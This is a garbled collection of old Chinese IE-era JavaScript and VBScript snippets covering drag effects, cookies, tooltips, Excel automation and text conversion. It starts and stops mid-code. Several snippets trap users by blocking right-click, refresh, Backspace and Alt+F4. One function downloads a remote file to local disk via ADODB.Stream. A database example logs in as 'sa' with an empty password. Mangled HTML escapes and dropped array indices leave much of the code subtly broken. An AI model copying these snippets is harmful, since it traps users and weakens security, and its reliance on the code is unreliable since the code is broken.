) || //屏蔽 F5 刷新键 ( event.ctrlKey & amp;& amp; event.keyCode == 82 ) ) { //Ctrl + R event.keyCode = 0 ; event.returnValue = false ; } if ( event.keyCode == 122 ) { event.keyCode = 0 ; event.returnValue = false ; } //屏蔽F11 if ( event.ctrlKey & amp;& amp; event.keyCode == 78 ) event.returnValue = false ; //屏蔽 Ctrl+n if ( event.shiftKey & amp;& amp; event.keyCode == 121 ) event.returnValue = false ; //屏蔽 shift+F10 if ( window.event .srcElement .tagName == "A" & amp;& amp; window.event .shiftKey ) window.event .returnValue = false ; //屏蔽 shift 加鼠标左键新开一网页 if ( ( window.event .altKey ) & amp;& amp; ( window.event .keyCode == 115 ) ) //屏蔽Alt+F4 { window.showModelessDialog ( "about:blank" , "" , "dialogWidth:1px;dialogheight:1px" ) ; return false ; } } & lt;/ script& gt; 屏蔽鼠标右键、Ctrl+ N、Shift+ F10、Alt+ F4、F11、F5刷新、退格键 & lt;/ body& gt; & lt;/ html& gt; //屏蔽打印 & lt; style& gt; @ media print { * { display: none} } & lt;/ style& gt; //移动的图层,拖动 & lt; span style= 'position:absolute;width:200;height:200;background:red' onmousedown= MouseDown( this ) onmousemove= MouseMove( ) onmouseup= MouseUp( ) & gt; meizz& lt;/ span& gt; & lt; script language= javascript& gt; var Obj; function MouseDown( obj) { Obj= obj; Obj.setCapture ( ) ; Obj.l = event.x - Obj.style .pixelLeft ; Obj.t = event.y - Obj.style .pixelTop ; } function MouseMove( ) { if ( Obj!= null ) { Obj.style .left = event.x - Obj.l ; Obj.style .top = event.y - Obj.t ; } } function MouseUp( ) { if ( Obj!= null ) { Obj.releaseCapture ( ) ; Obj= null ; } } & lt;/ script& gt; & lt; div id= "myDiv" src= "logo.gif" ondrag= "doDrag();" onmouseover= "this.style.cursor='hand'" style= "position:absolute;left=100;top=100;" onmousedown= "doMouseDown();" & gt; & lt; a href= "#" onclick= "return false" & gt;& lt; h1& gt; wlecome& lt;/ h1& gt; [ / url] & lt;/ div& gt; & lt; script language= "JavaScript" type= "text/javascript" & gt; var orgMouseX; var orgMouseY; var orgObjX; var orgObjY; function doDrag( ) { var myObject= document.all .myDiv ; var x= event.clientX ; var y= event.clientY ; myObject.style .left = x- ( orgMouseX- orgObjX) ; myObject.style .top = y- ( orgMouseY- orgObjY) ; } function doMouseDown( ) { orgMouseX= event.clientX ; orgMouseY= event.clientY ; orgObjX= parseInt( document.all .myDiv .style .left ) ; orgObjY= parseInt( document.all .myDiv .style .top ) ; } & lt;/ script& gt; //文档状态改变 & lt; iframe src= "a.html" id= "f" name = "f" scrolling= "no" frameborder= 0 marginwidth= 0 marginheight= 0 & gt;& lt;/ iframe& gt; & lt; script& gt; var doc= window.frames [ "f" ] .document ; function s( ) { if ( doc.readyState == "complete" ) { document.all .f .style .height = doc.body .scrollHeight document.all .f .style .width = doc.body .scrollWidth } } doc.onreadystatechange = s & lt;/ script& gt; //刷新后不变的文本框 & lt; HTML& gt; & lt; HEAD& gt; & lt; META NAME = "save" CONTENT= "history" & gt; & lt; STYLE& gt; .sHistory { behavior: url( #default#savehistory) ; } & lt;/ STYLE& gt; & lt;/ HEAD& gt; & lt; BODY& gt; & lt; INPUT class = sHistory type= text id= oPersistInput& gt; & lt;/ BODY& gt; & lt;/ HTML& gt; //访问剪贴板 ( 1 ) 拖拽访问 event.dataTransfer .setData ( "URL" , oImage.src ) ; sImageURL = event.dataTransfer .getData ( "URL" ) ; ( 2 ) 普通访问 window.clipboardData .setData ( "Text" , oSource.innerText ) ; window.clipboardData .getData ( "Text" ) ; //操作COOKIE function SetCookie( sName, sValue) { document.cookie = sName + "=" + escape( sValue) + "; " ; } function GetCookie( sName) { var aCookie = document.cookie .split ( "; " ) ; for ( var i= 0 ; i & lt; aCookie.length ; i++ ) { var aCrumb = aCookie.split ( "=" ) ; if ( sName == aCrumb[ 0 ] ) return unescape( aCrumb[ 1 ] ) ; } } function DelCookie( sName) { document.cookie = sName + "=" + escape( sValue) + "; expires=Fri, 31 Dec 1999 23:59:59 GMT;" ; } //setTimeout增加参数 & lt; script& gt; var _st = window.setTimeout ; window.setTimeout = function ( fRef, mDelay) { if ( typeof fRef == 'function' ) { var argu = Array.prototype .slice .call ( arguments, 2 ) ; var f = ( function ( ) { fRef.apply ( null , argu) ; } ) ; return _st( f, mDelay) ; } return _st( fRef, mDelay) ; } function test( x) { alert ( x) ; } window.setTimeout ( test, 1000 , 'fason' ) ; & lt;/ script& gt; //自定义的apply,call Function .prototype .apply = function ( obj, argu) { if ( obj) obj.constructor .prototype ._caller = this ; var argus = new Array( ) ; for ( var i= 0 ; i& lt; argu.length ; i++ ) argus = "argu[" + i + "]" ; var r; eval ( "r = " + ( obj ? ( "obj._caller(" + argus.join ( "," ) + ");" ) : ( "this(" + argus.join ( "," ) + ");" ) ) ) ; return r; } ; Function .prototype .call = function ( obj) { var argu = new Array( ) ; for ( var i= 1 ; i& lt; arguments.length ; i++ ) argu[ i- 1 ] = arguments; return this .apply ( obj, argu) ; } ; //下载文件 function DownURL( strRemoteURL, strLocalURL) { try { var xmlHTTP= new ActiveXObject( "Microsoft.XMLHTTP" ) ; xmlHTTP.open ( "Get" , strRemoteURL, false ) ; xmlHTTP.send ( ) ; var adodbStream= new ActiveXObject( "ADODB.Stream" ) ; adodbStream.Type = 1 ; //1=adTypeBinary adodbStream.Open ( ) ; adodbStream.write ( xmlHTTP.responseBody ) ; adodbStream.SaveToFile ( strLocalURL, 2 ) ; adodbStream.Close ( ) ; adodbStream= null ; xmlHTTP= null ; } catch ( e) { window.confirm ( "下载URL出错!" ) ; } //window.confirm("下载完成."); } //检验连接是否有效 function getXML( URL) { var xmlhttp = new ActiveXObject( "microsoft.xmlhttp" ) ; xmlhttp.Open ( "GET" , URL, false ) ; try { xmlhttp.Send ( ) ; } catch ( e) { } finally { var result = xmlhttp.responseText ; if ( result) { if ( xmlhttp.Status == 200 ) { return ( true ) ; } else { return ( false ) ; } } else { return ( false ) ; } } } //POST代替FORM & lt; SCRIPT language= "VBScript" & gt; Function URLEncoding( vstrIn) strReturn = "" For i = 1 To Len( vstrIn) ThisChr = Mid( vStrIn, i, 1 ) If Abs( Asc( ThisChr) ) & lt; & amp; HFF Then strReturn = strReturn & amp; ThisChr Else innerCode = Asc( ThisChr) If innerCode & lt; 0 Then innerCode = innerCode + & amp; H10000 End If Hight8 = ( innerCode And & amp; HFF00) \ & amp; HFF Low8 = innerCode And & amp; HFF strReturn = strReturn & amp; "%" & amp; Hex( Hight8) & amp; "%" & amp; Hex( Low8) End If Next URLEncoding = strReturn End Function Function bytes2BSTR( vIn) strReturn = "" For i = 1 To LenB( vIn) ThisCharCode = AscB( MidB( vIn, i, 1 ) ) If ThisCharCode & lt; & amp; H80 Then strReturn = strReturn & amp; Chr( ThisCharCode) Else NextCharCode = AscB( MidB( vIn, i+ 1 , 1 ) ) strReturn = strReturn & amp; Chr( CLng( ThisCharCode) * & amp; H100 + CInt( NextCharCode) ) i = i + 1 End If Next bytes2BSTR = strReturn End Function dim strA, oReq strA = URLEncoding( "submit1=Submit&text1=中文" ) set oReq = CreateObject( "MSXML2.XMLHTTP" ) oReq.open "POST" , "<a href=" http: //servername/VDir/TstResult.asp" target="_blank">http://ServerName/VDir/TstResult.asp</a>",false oReq.setRequestHeader "Content-Length" , Len( strA) oReq.setRequestHeader "CONTENT-TYPE" , "application/x-www-form-urlencoded" oReq.send strA msgbox bytes2BSTR( oReq.responseBody ) & lt;/ SCRIPT& gt; //readyState是xmlhttp返回数据的进度,0=载入中,1=未初始化,2=已载入,3=运行中,4=完成 //组件是否安装 isComponentInstalled( "{6B053A4B-A7EC-4D3D-4567-B8FF8A1A5739}" , "componentID" ) ) //检查网页是否存在 function CheckURL( URL) { var xmlhttp = new ActiveXObject( "Microsoft.XMLHTTP" ) ; xmlhttp.Open ( "GET" , URL, false ) ; try { xmlhttp.Send ( ) ; var result = xmlhttp.status ; } catch ( e) { return ( false ) ; } if ( result== 200 ) { return true ; } xmlhttp = null ; return false ; } //连接数据库 & lt; script language= "javascript" & gt; //用 JavaScript 写服务器端连接数据库的代码示例 var conn = new ActiveXObject( "ADODB.Connection" ) ; conn.Open ( "Provider=SQLOLEDB.1; Data Source=localhost; User ID=sa; " + "Password=; Initial Catalog=pubs" ) ; var rs = new ActiveXObject( "ADODB.Recordset" ) ; var sql= "select * from authors" ; rs.open ( sql, conn) ; shtml = "<table width='100%' border=1>" ; shtml += "<tr bgcolor='#f4f4f4'><td>au_id</td><td>au_lname</td><td>au_fname</td><td>phone</td><td>address</td><td> city</td><td>state</td><td>zip</td></tr>" ; while ( ! rs.EOF ) { shtml += "<tr><td>" + rs( "au_id" ) + "</td><td>" + rs( "au_lname" ) + "</td><td>" + rs( "au_fname" ) + "</td><td>" + rs( "phone" ) + "</td><td>" + rs( "address" ) + "</td><td>" + rs( "city" ) + "</td><td>" + rs( "state" ) + "</td><td>" + rs( "zip" ) + "</td></tr>" ; rs.moveNext ; } shtml += "</table>" ; document.write ( shtml) ; rs.close ( ) ; rs = null ; conn.close ( ) ; conn = null ; & lt;/ script& gt; //使用数据岛 & lt; html& gt; & lt; body& gt; srno:& lt; input type= text datasrc= #xmldate DataFLD= srno size= "76" & gt;& lt; BR& gt; times:& lt; input type= text datasrc= #xmldate DataFLD= times size= "76" & gt;& lt; BR& gt; & lt; input id= "first" TYPE= button value= "<< 第一条记录" onclick= "xmldate.recordset.moveFirst()" & gt; & lt; input id= "prev" TYPE= button value= "<上一条记录" onclick= "xmldate.recordset.movePrevious()" & gt; & lt; input id= "next" TYPE= button value= "下一条记录>" onclick= "xmldate.recordset.moveNext()" & gt; & lt; input id= "last" TYPE= button value= "最后一条记录>>" onclick= "xmldate.recordset.moveLast()" & gt; & lt; input id= "Add" TYPE= button value= "添加新记录" onclick= "xmldate.recordset.addNew()" & gt; & lt; XML ID= "xmldate" & gt; & lt; infolist& gt; & lt; info & gt;& lt; srno& gt; 20041025 - 01& lt;/ srno& gt;& lt; times& gt; null& lt;/ times& gt;& lt;/ info& gt; & lt; info & gt;& lt; srno& gt; 20041101 - 09& lt;/ srno& gt;& lt; times& gt; 2004 年10 月1 日2 点22 分0 秒& lt;/ times& gt;& lt;/ info& gt; & lt;/ infolist& gt; & lt;/ XML& gt; & lt;/ body& gt; & lt;/ html& gt; //获得参数 & lt; body& gt; & lt; a href= "javascript:location.href=location.href + '?a=1&b=2'" & gt; search[ / url] & lt; script language= "JavaScript" & gt; & lt;!-- var a = location.search .substr ( 1 ) ; if ( a.length & gt; 0 ) { var re = /([^&]*?)\=([^&]*)/g var s = a.match ( re) ; for ( var i= 0 ; i& lt; s.length ; i++ ) { alert ( s) ; alert ( s.split ( "=" ) [ 1 ] ) ; } } //--> & lt;/ script& gt; & lt;/ body& gt; //可编辑SELECT & lt; input type= text name = re_name style= "width:100px;height:21px;font-size:10pt;" & gt;& lt; span style= "width:18px;border:0px solid red;" & gt;& lt; select name = "r00" style= "margin-left:-100px;width:118px; background-color:#FFEEEE;" onChange= "document.all.re_name.value=this.value;" & gt; & lt; option value= "1" & gt; 11111111 & lt; option& gt; & lt; option value= "2" & gt; 222222 & lt;/ option& gt; & lt; option value= "3" & gt; 333333 & lt;/ option& gt; & lt;/ select& gt; & lt;/ span& gt; //设置光标位置 function getCaret( textbox) { var control = document.activeElement ; textbox.focus ( ) ; var rang = document.selection .createRange ( ) ; rang.setEndPoint ( "StartToStart" , textbox.createTextRange ( ) ) control.focus ( ) ; return rang.text .length ; } function setCaret( textbox, pos) { try { var r = textbox.createTextRange ( ) ; r.moveStart ( 'character' , pos) ; r.collapse ( true ) ; r.select ( ) ; } catch ( e) { } } function selectLength( textbox, start, len) { try { var r = textbox.createTextRange ( ) ; r.moveEnd ( 'character' , len- ( textbox.value .length - start) ) ; r.moveStart ( 'character' , start) ; r.select ( ) ; } catch ( e) { //alert(e.description)} } function insertAtCaret( textbox, text) { textbox.focus ( ) ; document.selection .createRange ( ) .text = text; } //页内查找 function findInPage( str) { var txt, i, found, n = 0 ; if ( str == "" ) { return false ; } txt = document.body .createTextRange ( ) ; for ( i = 0 ; i & lt;= n & amp;& amp; ( found = txt.findText ( str) ) != false ; i++ ) { txt.moveStart ( "character" , 1 ) ; txt.moveEnd ( "textedit" ) ; } if ( found) { txt.moveStart ( "character" , - 1 ) ; txt.findText ( str) ; txt.select ( ) ; txt.scrollIntoView ( ) ; n++; } else { if ( n & gt; 0 ) { n = 0 ; findInPage( str) ; } else { alert ( str + "... 您要找的文字不存在。\n \n 请试着输入页面中的关键字再次查找!" ) ; } } return false ; } //书 < a href= "http://www.itpub.net/attachment.php?s=&postid=1894598" target= "_blank" > http: //www.itpub.net/attachment.php?s=&postid=1894598</a> < a href= "http://www.wrclub.net/down/listdown.aspx?id=1341" target= "_blank" > http: //www.wrclub.net/down/listdown.aspx?id=1341</a> //操作EXECL & lt; script language= "javascript" & gt; function jStartExcel( ) { var xls = new ActiveXObject ( "Excel.Application" ) ; xls.visible = true ; var newBook = xls.Workbooks .Add ; newBook.Worksheets .Add ; newBook.Worksheets ( 1 ) .Activate ; xls.ActiveWorkBook .ActiveSheet .PageSetup .Orientation = 2 ; xls.ActiveWorkBook .ActiveSheet .PageSetup .PaperSize = 5 ; newBook.Worksheets ( 1 ) .Columns ( "A" ) .columnwidth = 50 ; newBook.Worksheets ( 1 ) .Columns ( "A" ) .WrapText = true ; newBook.Worksheets ( 1 ) .Columns ( "B" ) .columnwidth = 50 ; newBook.Worksheets ( 1 ) .Columns ( "B" ) .WrapText = true ; newBook.Worksheets ( 1 ) .Range ( "A1:B1000" ) .NumberFormat = "0" ; newBook.Worksheets ( 1 ) .Range ( "A1:B1000" ) .HorizontalAlignment = - 4131 ; newBook.Worksheets ( 1 ) .Cells ( 1 , 1 ) .Interior .ColorIndex = "15" ; newBook.Worksheets ( 1 ) .Cells ( 1 , 1 ) .value = "First Column, First Cell" ; newBook.Worksheets ( 1 ) .Cells ( 2 , 1 ) .value = "First Column, Second Cell" ; newBook.Worksheets ( 1 ) .Cells ( 1 , 2 ) .value = "Second Column, First Cell" ; newBook.Worksheets ( 1 ) .Cells ( 2 , 2 ) .value = "Second Column, Second Cell" ; newBook.Worksheets ( 1 ) .Name = "My First WorkSheet" ; } & lt;/ script& gt; //自定义提示条 & lt; a href= "#" title= "这是提示" & gt; tip[ / url] & lt; script Language= "JavaScript" & gt; //***********默认设置定义.********************* tPopWait= 50 ; //停留tWait豪秒后显示提示。 tPopShow= 5000 ; //显示tShow豪秒后关闭提示 showPopStep= 20 ; popOpacity= 99 ; //***************内部变量定义***************** sPop= null ; curShow= null ; tFadeOut= null ; tFadeIn= null ; tFadeWaiting= null ; document.write ( "<style type='text/css'id='defaultPopStyle'>" ) ; document.write ( ".cPopText { background-color: #F8F8F5;color:#000000; border: 1px #000000 solid;font-color: font-size: 12px; padding-right: 4px; padding-left: 4px; height: 20px; padding-top: 2px; padding-bottom: 2px; filter: Alpha(Opacity=0)}" ) ; document.write ( "</style>" ) ; document.write ( "<div id='dypopLayer' style='position:absolute;z-index:1000;' class='cPopText'></div>" ) ; function showPopupText( ) { var o= event.srcElement ; MouseX= event.x ; MouseY= event.y ; if ( o.alt != null & amp;& amp; o.alt != "" ) { o.dypop = o.alt ; o.alt = "" } ; if ( o.title != null & amp;& amp; o.title != "" ) { o.dypop = o.title ; o.title = "" } ; if ( o.dypop != sPop) { sPop= o.dypop ; clearTimeout( curShow) ; clearTimeout( tFadeOut) ; clearTimeout( tFadeIn) ; clearTimeout( tFadeWaiting) ; if ( sPop== null || sPop== "" ) { dypopLayer.innerHTML = "" ; dypopLayer.style .filter = "Alpha()" ; dypopLayer.filters .Alpha .opacity = 0 ; } else { if ( o.dyclass != null ) popStyle= o.dyclass else popStyle= "cPopText" ; curShow= setTimeout( "showIt()" , tPopWait) ; } } } function showIt( ) { dypopLayer.className = popStyle; dypopLayer.innerHTML = sPop; popWidth= dypopLayer.clientWidth ; popHeight= dypopLayer.clientHeight ; if ( MouseX+ 12 + popWidth& gt; document.body .clientWidth ) popLeftAdjust=- popWidth- 24 else popLeftAdjust= 0 ; if ( MouseY+ 12 + popHeight& gt; document.body .clientHeight ) popTopAdjust=- popHeight- 24 else popTopAdjust= 0 ; dypopLayer.style .left = MouseX+ 12 + document.body .scrollLeft + popLeftAdjust; dypopLayer.style .top = MouseY+ 12 + document.body .scrollTop + popTopAdjust; dypopLayer.style .filter = "Alpha(Opacity=0)" ; fadeOut( ) ; } function fadeOut( ) { if ( dypopLayer.filters .Alpha .opacity & lt; popOpacity) { dypopLayer.filters .Alpha .opacity += showPopStep; tFadeOut= setTimeout( "fadeOut()" , 1 ) ; } else { dypopLayer.filters .Alpha .opacity = popOpacity; tFadeWaiting= setTimeout( "fadeIn()" , tPopShow) ; } } function fadeIn( ) { if ( dypopLayer.filters .Alpha .opacity & gt; 0 ) { dypopLayer.filters .Alpha .opacity -= 1 ; tFadeIn= setTimeout( "fadeIn()" , 1 ) ; } } document.onmouseover = showPopupText; & lt;/ script& gt; //插入文字 document.onclick = function ( ) { var oSource = window.event .srcElement ; if ( oSource.tagName != "DIV" ) return false ; var sel = document.selection ; if ( sel!= null ) { var rng = sel.createRange ( ) ; if ( rng!= null ) rng.pasteHTML ( "<font color=red>插入文字</font>" ) ; } } //netscapte下操作xml doc = new ActiveXObject( "Msxml2.DOMDocument" ) ; doc = new ActiveXObject( "Microsoft.XMLDOM" ) -& gt;& gt; doc = ( new DOMParser( ) ) .parseFromString ( sXML, 'text/xml' ) //判断键值 & lt; html& gt; & lt; meta http- equiv= "Content-Type" content= "text/html; charset=gb2312" & gt; & lt; head& gt; & lt; script language= "javascript" & gt; var ie = navigator.appName == "Microsoft Internet Explorer" ? true : false ; function keyDown( e) { if ( ! ie) { var nkey= e.which ; var iekey= '现在是ns浏览器' ; var realkey= String.fromCharCode ( e.which ) ; } if ( ie) { var iekey= event.keyCode ; var nkey= '现在是ie浏览器' ; var realkey= String.fromCharCode ( event.keyCode ) ; if ( event.keyCode == 32 ) { realkey= '\' 空格\' ' } if ( event.keyCode == 13 ) { realkey= '\' 回车\' ' } if ( event.keyCode == 27 ) { realkey= '\' Esc\' ' } if ( event.keyCode == 16 ) { realkey= '\' Shift\' ' } if ( event.keyCode == 17 ) { realkey= '\' Ctrl\' ' } if ( event.keyCode == 18 ) { realkey= '\' Alt\' ' } } alert ( 'ns浏览器中键值:' + nkey+ '\n ' + 'ie浏览器中键值:' + iekey+ '\n ' + '实际键为' + realkey) ; } document.onkeydown = keyDown; & lt;/ script& gt; & lt;/ head& gt; & lt; body& gt; //Javascript Document. < hr style= "clear: both;" />& lt; center& gt; & lt; h3& gt; 请按任意一个键。。。。& lt;/ h3& gt; & lt;/ center& gt; & lt;/ body& gt; & lt;/ html& gt; //禁止FSO 1.注销组件 regsvr32 / u scrrun.dll 2.修改PROGID HKEY_CLASSES_ROOT\Scripting.FileSystemObject Scripting.FileSystemObject 3.对于使用object的用户,修改HKEY_CLASSES_ROOT\Scripting. //省略号 & lt; DIV STYLE= "width: 120px; height: 50px; border: 1px solid blue; overflow: hidden; text-overflow:ellipsis" & gt; & lt; NOBR& gt; 就是比如有一行文字,很长,表格内一行显示不下.& lt;/ NOBR& gt; & lt;/ DIV& gt; //检测media play版本 & lt; IE: clientCaps ID= "oClientCaps" style= "{behavior:url(#default#clientcaps)}" /& gt; & lt; SCRIPT& gt; var flash= "" ; WMPVersion= oClientCaps.getComponentVersion ( "{22D6F312-B0F6-11D0-94AB-0080C74C7E95}" , "ComponentID" ) ; if ( WMPVersion != "" ) { flash = "" ; var version = WMPVersion.split ( "," ) ; var i; for ( i = 0 ; i & lt; version.length ; i++ ) { if ( i != 0 ) flash += "." ; flash += version; } document.write ( "您的Windows Media Player 版本是:" + flash+ "<p>" ) ; } & lt;/ SCRIPT& gt; //图象按比例 & lt; script language= "JavaScript" & gt; & lt;!-- //图片按比例缩放 var flag= false ; function DrawImage( ImgD) { var image= new Image( ) ; var iwidth = 80 ; //定义允许图片宽度 var iheight = 80 ; //定义允许图片高度 image.src = ImgD.src ; if ( image.width & gt; 0 & amp;& amp; image.height & gt; 0 ) { flag= true ; if ( image.width / image.height & gt;= iwidth/ iheight) { if ( image.width & gt; iwidth) { ImgD.width = iwidth; ImgD.height = ( image.height * iwidth) / image.width ; } else { ImgD.width = image.width ; ImgD.height = image.height ; } ImgD.alt = image.width + "×" + image.height ; } else { if ( image.height & gt; iheight) { ImgD.height = iheight; ImgD.width = ( image.width * iheight) / image.height ; } else { ImgD.width = image.width ; ImgD.height = image.height ; } ImgD.alt = image.width + "×" + image.height ; } } } //--> & lt;/ script& gt; & lt; img src= ".." onload = "DrawImage(this)" & gt; //细线SELECT & lt; span style= "border:1px solid #000000; position:absolute; overflow:hidden;" & gt; & lt; select style= "margin:-2px;" & gt; & lt; option& gt; 1111 & lt;/ option& gt; & lt; option& gt; 11111111111111 & lt;/ option& gt; & lt; option& gt; 111111111 & lt;/ option& gt; & lt;/ select& gt;& lt;/ span& gt; //Import function Import ( ) { for ( var i= 0 ; i& lt; arguments.length ; i++ ) { var file = arguments; if ( file.match ( /\.js$/i ) ) document.write ( '<script type=\" text/javascript\" src=\" ' + file + '\" ></sc' + 'ript>' ) ; else document.write ( '<style type=\" text/css\" >@import \" ' + file + '\" ;</style>' ) ; } } ; //js枚举 function getComputerName( ) { var objWMIService = GetObject( "Winmgmts:root\c imv2" ) ; for ( e = new Enumerator( objWMIService) ; ! e.atEnd ( ) ; e.moveNext ( ) ) { var getComputer = e.item ( ) ; return getComputer.Name ; } } //条件编译 & lt; script language= javascript& gt; /*@cc_on @*/ /*@if (@_win32 && @_jscript_version>5) function window.confirm(str) { execScript("n = msgbox('"+ str +"', 257)", "vbscript"); return(n == 1); } @end @*/ & lt;/ script& gt; //取得innerText & lt; SCRIPT LANGUAGE= "JavaScript" & gt; & lt;!-- var xmlDoc = new ActiveXObject( "Msxml2.DOMDocument.4.0" ) ; var currNode; xmlDoc.async = false ; xmlDoc.async = false ; xmlDoc.loadXML ( "<TABLENAME> 你好你阿三 大法 司法等四 </TABLENAME>" ) ; currNode = xmlDoc.documentElement ; var s = currNode.xml ; var r = /\<([^\>\s]*?)[^\>]*?\>([^\<]*?)\<\/\1\>/ var b = s.replace ( r, "$2" ) ; alert ( b) ; //--> & lt;/ SCRIPT& gt; //mergeAttributes 复制所有读/写标签属性到指定元素。 & lt; SCRIPT& gt; function fnMerge( ) { oSource.children [ 1 ] .mergeAttributes ( oSource.children [ 0 ] ) ; } & lt;/ SCRIPT& gt; & lt; SPAN ID= oSource& gt; & lt; DIV ID= "oDiv" ATTRIBUTE1= "true" ATTRIBUTE2= "true" onclick= "alert('click');" onmouseover= "this.style.color='#0000FF';" onmouseout= "this.style.color='#000000';" & gt; This is a sample & lt; B& gt; DIV& lt;/ B& gt; element. & lt;/ DIV& gt; & lt; DIV ID= "oDiv2" & gt; This is another sample & lt; B& gt; DIV& lt;/ B& gt; element. & lt;/ DIV& gt; & lt;/ SPAN& gt; & lt; INPUT TYPE= "button" VALUE= "Merge Attributes" onclick= "fnMerge()" & gt; 检查链接是否有效 < a href= "http://www.pconline.com.cn/welcome.asp%22%20onclick=%22mm(this,%20%27[url" target= "_blank" > http: //www.pconline.com.cn/</a>')]test[/url] & lt; script language= "javascript" & gt; function getURL( url) { var xmlhttp = new ActiveXObject( "Microsoft.XMLHTTP" ) ; xmlhttp.open ( "GET" , url, false ) ; xmlhttp.send ( ) ; if ( xmlhttp.readyState == 4 ) return xmlhttp.Status == 200 ; return false ; } function mm( e, url) { if ( ! getURL( e.href ) ) e.href = url; } & lt;/ script& gt; 判断是否输入值再激活按钮 & lt; script& gt; function check( ) { s.disabled = ( t1.value == '' || t2.value == '' || t3.value == '' ) } & lt;/ script& gt; & lt; input name = "t1" onpropertychange= "check();" & gt; & lt; input name = "t2" onpropertychange= "check();" & gt; & lt; input name = "t3" onpropertychange= "check();" & gt; & lt; input type= "submit" name = "s" disabled& gt; 屏蔽鼠标右键、Ctrl+ N、Shift+ F10、Alt+ F4、F11、F5刷新、退格键 & lt; html& gt; & lt; head& gt; & lt; meta http- equiv= "Content-Type" content= "text/html; charset=gb2312" & gt; & lt; noscript& gt;& lt; meta http- equiv= "refresh" content= "0;url=about:noscript" & gt;& lt;/ noscript& gt; & lt; title& gt; 屏蔽鼠标右键、Ctrl+ N、Shift+ F10、Alt+ F4、F11、F5刷新、退格键& lt;/ title& gt; & lt;/ head& gt; & lt; body& gt; & lt; script language= "Javascript" & gt;& lt;!-- //屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键 //Author: meizz(梅花雨) 2002-6-18 function document.oncontextmenu ( ) { event.returnValue = false ; } //屏蔽鼠标右键 function window.onhelp ( ) { return false } //屏蔽F1帮助 function document.onkeydown ( ) { if ( ( window.event .altKey ) & amp;& amp; ( ( window.event .keyCode == 37 ) || //屏蔽 Alt+ 方向键 ← ( window.event .keyCode == 39 ) ) ) //屏蔽 Alt+ 方向键 → { alert ( "不准你使用ALT+方向键前进或后退网页!" ) ; event.returnValue = false ; } /* 注:这还不是真正地屏蔽 Alt+ 方向键, 因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放, 用鼠标点掉警告框,这种屏蔽方法就失效了。以后若 有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/ if ( ( event.keyCode == 8 ) || //屏蔽退格删除键 ( event.keyCode == 116 ) || //屏蔽 F5 刷新键 ( event.ctrlKey & amp;& amp; event.keyCode == 82 ) ) { //Ctrl + R event.keyCode = 0 ; event.returnValue = false ; } if ( event.keyCode == 122 ) { event.keyCode = 0 ; event.returnValue = false ; } //屏蔽F11 if ( event.ctrlKey & amp;& amp; event.keyCode == 78 ) event.returnValue = false ; //屏蔽 Ctrl+n if ( event.shiftKey & amp;& amp; event.keyCode == 121 ) event.returnValue = false ; //屏蔽 shift+F10 if ( window.event .srcElement .tagName == "A" & amp;& amp; window.event .shiftKey ) window.event .returnValue = false ; //屏蔽 shift 加鼠标左键新开一网页 if ( ( window.event .altKey ) & amp;& amp; ( window.event .keyCode == 115 ) ) //屏蔽Alt+F4 { window.showModelessDialog ( "about:blank" , "" , "dialogWidth:1px;dialogheight:1px" ) ; return false ; } } & lt;/ script& gt; 屏蔽鼠标右键、Ctrl+ N、Shift+ F10、Alt+ F4、F11、F5刷新、退格键 & lt;/ body& gt; & lt;/ html& gt; 自定义热键(请按a) & lt; SCRIPT language= "JavaScript" & gt; & lt;!-- var hotkey= 97 var destination= "<a href=" http: //www.wyev.com/" target="_blank">http://www.wyev.com</a>" if ( document.layers ) document.captureEvents ( Event.KEYPRESS ) function backhome( e) { if ( document.layers ) { if ( e.which == hotkey) window.location = destination } else if ( document.all ) { if ( event.keyCode == hotkey) window.location = destination } } document.onkeypress = backhome //--> & lt;/ SCRIPT& gt; & lt; script& gt; var s= '中文,English' ; alert ( "[" + s+ "]的长度:" + s.replace ( /[^\x00-\xff]/gi , 'xx' ) .length ) & lt;/ script& gt; & lt;! DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<a href=" http: //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>"> & lt; html xmlns= "<a href=" http: //www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>"> & lt; head& gt; & lt; meta http- equiv= "Content-Type" content= "text/html; charset=gb2312" /& gt; & lt; title& gt; 无标题文档& lt;/ title& gt; & lt;/ head& gt; & lt; body& gt; & lt; a id= "StranLink" & gt; 繁体[ / url] 网页代码检测 中国DotNet俱乐部——首页点乃特学习.z6ionestabw3cn 蓝色ideaMSDN 雷神竞技场中文站论坛 z987论坛 VeryCD游戏专区 Google & lt; script type= "text/javascript" & gt; //模仿语言包式的简繁转换功能插件! //Edited by Stardy --2005-04-16 , Web :http://www.stardy.com , QQ:2885465 //Re-Edited by Stud --2005-10-10 , Web :http://www.metro.com.tw var Default_isFT = 0 //默认是否繁体,0-简体,1-繁体 var StranIt_Delay = 30 //翻译延时毫秒(设这个的目的是让网页先流畅的显现出来) //-------代码开始,以下别改------- //转换文本 function StranText( txt, toFT, chgTxt) { if ( txt== "" || txt== null ) return "" toFT= toFT== null ? BodyIsFt: toFT if ( chgTxt) txt= txt.replace ( ( toFT? "简" : "繁" ) , ( toFT? "繁" : "简" ) ) if ( toFT) { return Simplized( txt) } else { return Traditionalized( txt) } } //转换对象,使用递归,逐层剥到文本 function StranBody( fobj) { if ( typeof ( fobj) == "object" ) { var obj= fobj.childNodes } else { var tmptxt= StranLink_Obj.innerHTML .toString ( ) if ( tmptxt.indexOf ( "简" ) & lt; 0 ) { BodyIsFt= 0 StranLink_Obj.innerHTML = StranText( tmptxt, 0 , 1 ) StranLink_Obj.title = StranText( StranLink_Obj.title , 0 , 1 ) } else { BodyIsFt= 1 StranLink_Obj.innerHTML = StranText( tmptxt, 1 , 1 ) StranLink_Obj.title = StranText( StranLink_Obj.title , 1 , 1 ) } setCookie( JF_cn, BodyIsFt, 7 ) var obj= document.body .childNodes } for ( var i= 0 ; i& lt; obj.length ; i++ ) { var OO= obj.item ( i) if ( "||BR|HR|TEXTAREA|" .indexOf ( "|" + OO.tagName + "|" ) & gt; 0 || OO== StranLink_Obj) continue ; if ( OO.title != "" & amp;& amp; OO.title != null ) OO.title = StranText( OO.title ) ; if ( OO.alt != "" & amp;& amp; OO.alt != null ) OO.alt = StranText( OO.alt ) ; if ( OO.tagName == "INPUT" & amp;& amp; OO.value != "" & amp;& amp; OO.type != "text" & amp;& amp; 